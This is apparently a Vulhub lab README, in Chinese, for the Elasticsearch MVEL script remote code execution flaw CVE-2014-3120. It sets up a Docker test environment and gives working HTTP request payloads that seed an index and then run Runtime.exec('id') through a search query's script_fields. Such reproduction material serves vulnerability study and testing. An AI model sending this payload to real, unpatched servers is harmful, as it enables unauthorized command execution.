ElasticSearch 命令執行漏洞(CVE-2014-3120)測試環境
Path elasticsearch/CVE-2014-3120
jre版本:openjdk:8-jre
elasticsearch版本:v1.1.1
原理
相關文檔:http://bouk.co/blog/elasticsearch-rce/ 、 https://www.t00ls.net/viewthread.php?tid=29408
老版本ElasticSearch支持傳入動態腳本(MVEL)來執行一些復雜的操作,而MVEL可執行Java代碼,而且沒有沙盒,所以我們可以直接執行任意代碼。
MVEL執行命令的代碼如下:
import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();
漏洞測試
編譯及運行環境:
docker-compose build
docker-compose up -d
將Java代碼放入json中:
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}
首先,該漏洞需要es中至少存在一條數據,所以我們需要先創建一條數據:
POST /website/blog/ HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
{
"name": "phithon"
}
然后,執行任意代碼:
POST /_search?pretty HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 343
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}
結果如圖:

Vulhub 文檔